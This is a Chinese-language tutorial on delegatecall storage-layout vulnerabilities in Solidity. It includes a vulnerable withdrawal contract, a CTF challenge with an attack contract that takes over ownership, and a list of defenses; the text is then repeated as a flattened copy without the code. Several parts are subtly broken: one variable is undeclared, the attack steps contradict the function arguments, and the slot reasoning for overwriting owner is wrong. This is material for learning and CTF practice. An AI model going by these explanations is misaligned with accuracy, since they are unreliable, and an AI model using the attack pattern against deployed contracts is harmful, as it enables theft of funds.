区块链安全—合约存储机制安全分析
字数 1519 2025-08-22 12:22:15

智能合约存储机制安全分析教学文档

一、智能合约基础概念

智能合约是运行在区块链网络上的程序,具有以下特点:

  1. 资金整合:通过以太币轻松整合资金流系统
  2. 部署与费用
    • 部署时需要支付费用(分给交易验证者)
    • 部署后作为区块链不可更改部分存储在全球节点
    • 查询静态数据免费,写入数据需支付交易费用
  3. 存储成本:数据存储在区块链上,成本昂贵
  4. 不可更改性:部署后无法升级或修改

二、关键函数分析

1. call()函数

特性

  • 调用后msg值修改为调用者
  • 执行环境为被调用合约的运行环境(被调用合约的storage)

实验代码

contract subFun {
    address public addr;
    function subTest() public returns (address a){
        addr = address(this);
    }
}

contract callAndDelegatecall {
    address public b;
    address public testaddress;
    
    constructor(address _address) public {
        testaddress = _address;
    }
    
    function withcall() public {
        testaddress.call(bytes4(keccak256("subTest()")));
    }
}

实验结果

  • 调用withcall()后,只有subFun合约中的addr被修改
  • callAndDelegatecall合约中的b保持不变

2. delegatecall()函数

特性

  • 调用后msg值不会修改为调用者
  • 执行环境为调用合约的运行环境(调用合约的storage)

实验代码

function withdelegatecall() public {
    testaddress.delegatecall(bytes4(keccak256("subTest()")));
}

实验结果

  • 调用withdelegatecall()后,callAndDelegatecall合约中的b被修改
  • 执行环境保留在调用合约中

三、存储机制安全漏洞

1. 存储布局问题

Solidity存储机制中,变量按声明顺序存储在slot中:

  • subFun合约:

    • start → slot[0]
    • calculatedNumber → slot[1]
  • Mastercontract合约:

    • addr → slot[0]
    • calculatedNumber → slot[1]

漏洞原理
当使用delegatecall时,子合约会按照自己的存储布局访问主合约的存储:

  • 子合约访问start(slot[0])实际访问的是主合约的addr(slot[0])
  • 子合约访问calculatedNumber(slot[1])实际访问的是主合约的calculatedNumber(slot[1])

2. 漏洞利用实例

合约代码

contract Subcontract {
    uint public start;
    uint public calculatedNumber;
    
    function setStart(uint _start) public { start = _start; }
    
    function setfun(uint n) public {
        calculatedNumber = test(n);
    }
    
    function test(uint n) internal returns (uint) {
        return start * n;
    }
}

contract Mastercontract {
    address public addr;
    uint public calculatedNumber = 1;
    uint public start = 1;
    uint public withdrawalCounter = 1;
    bytes4 constant fibSig = bytes4(keccak256("setfun(uint)"));
    
    constructor(address _fibonacciLibrary) public {
        fibonacciLibrary = _fibonacciLibrary;
    }
    
    function withdraw() public {
        withdrawalCounter += 1;
        require(addr.delegatecall(fibSig,withdrawalCounter),"something wrong");
        msg.sender.transfer(calculatedNumber * 1 ether);
    }
}

攻击步骤

  1. 通过delegatecall调用子合约的setfun
  2. 子合约尝试修改start(slot[0])实际修改了主合约的addr
  3. 子合约修改calculatedNumber(slot[1])实际修改了主合约的calculatedNumber
  4. 导致转账金额被恶意修改

四、CTF题目分析

题目合约

contract Ttest {
    address public addr1;
    address public addr2;
    address public owner;
    
    constructor(address _a, address _b) public {
        addr1 = _a;
        addr2 = _b;
        owner = msg.sender;
    }
    
    function First(uint _timeStamp) public {
        addr1.delegatecall(setTimeSignature, _timeStamp);
    }
    
    function Second(uint _timeStamp) public {
        addr2.delegatecall(setTimeSignature, _timeStamp);
    }
    
    function attack(string name) public returns(string){
        require (owner == msg.sender);
        // ...
    }
}

contract Library {
    uint first;
    function set(uint _time) public {
        first = _time;
    }
}

攻击合约

contract Attack {
    address public owner;
    
    function set(uint _time) public {
        owner = tx.origin;
    }
}

攻击步骤

  1. 部署Attack合约
  2. 调用First()函数,传入Attack合约地址
  3. 通过delegatecall调用Attack合约的set函数
  4. set函数修改Ttest合约的owner(因为addr1owner在slot[0]和slot[2])
  5. 现在攻击者成为owner,可以调用attack()函数

五、防御措施

  1. 避免使用delegatecall:除非绝对必要,否则避免使用delegatecall
  2. 库合约标准化:使用标准库合约模式,确保存储布局一致
  3. 状态变量隔离:将被调用合约的状态变量与调用合约隔离
  4. 输入验证:严格验证delegatecall的目标地址和参数
  5. 使用staticcall:对于只读操作,使用staticcall代替delegatecall

六、总结

智能合约存储机制安全问题主要源于:

  1. delegatecall保留调用合约的上下文环境
  2. Solidity按声明顺序存储变量的机制
  3. 跨合约调用时的存储布局不匹配

开发者需要充分理解这些机制,避免因存储布局问题导致的安全漏洞。

智能合约存储机制安全分析教学文档 一、智能合约基础概念 智能合约是运行在区块链网络上的程序,具有以下特点: 资金整合 :通过以太币轻松整合资金流系统 部署与费用 : 部署时需要支付费用(分给交易验证者) 部署后作为区块链不可更改部分存储在全球节点 查询静态数据免费,写入数据需支付交易费用 存储成本 :数据存储在区块链上,成本昂贵 不可更改性 :部署后无法升级或修改 二、关键函数分析 1. call()函数 特性 : 调用后 msg 值修改为调用者 执行环境为被调用合约的运行环境(被调用合约的storage) 实验代码 : 实验结果 : 调用 withcall() 后,只有 subFun 合约中的 addr 被修改 callAndDelegatecall 合约中的 b 保持不变 2. delegatecall()函数 特性 : 调用后 msg 值不会修改为调用者 执行环境为调用合约的运行环境(调用合约的storage) 实验代码 : 实验结果 : 调用 withdelegatecall() 后, callAndDelegatecall 合约中的 b 被修改 执行环境保留在调用合约中 三、存储机制安全漏洞 1. 存储布局问题 Solidity存储机制中,变量按声明顺序存储在slot中: subFun 合约: start → slot[ 0 ] calculatedNumber → slot[ 1 ] Mastercontract 合约: addr → slot[ 0 ] calculatedNumber → slot[ 1 ] 漏洞原理 : 当使用 delegatecall 时,子合约会按照自己的存储布局访问主合约的存储: 子合约访问 start (slot[ 0])实际访问的是主合约的 addr (slot[ 0 ]) 子合约访问 calculatedNumber (slot[ 1])实际访问的是主合约的 calculatedNumber (slot[ 1 ]) 2. 漏洞利用实例 合约代码 : 攻击步骤 : 通过 delegatecall 调用子合约的 setfun 子合约尝试修改 start (slot[ 0])实际修改了主合约的 addr 子合约修改 calculatedNumber (slot[ 1])实际修改了主合约的 calculatedNumber 导致转账金额被恶意修改 四、CTF题目分析 题目合约 : 攻击合约 : 攻击步骤 : 部署Attack合约 调用 First() 函数,传入Attack合约地址 通过 delegatecall 调用Attack合约的 set 函数 set 函数修改 Ttest 合约的 owner (因为 addr1 和 owner 在slot[ 0]和slot[ 2 ]) 现在攻击者成为owner,可以调用 attack() 函数 五、防御措施 避免使用delegatecall :除非绝对必要,否则避免使用 delegatecall 库合约标准化 :使用标准库合约模式,确保存储布局一致 状态变量隔离 :将被调用合约的状态变量与调用合约隔离 输入验证 :严格验证 delegatecall 的目标地址和参数 使用staticcall :对于只读操作,使用 staticcall 代替 delegatecall 六、总结 智能合约存储机制安全问题主要源于: delegatecall 保留调用合约的上下文环境 Solidity按声明顺序存储变量的机制 跨合约调用时的存储布局不匹配 开发者需要充分理解这些机制,避免因存储布局问题导致的安全漏洞。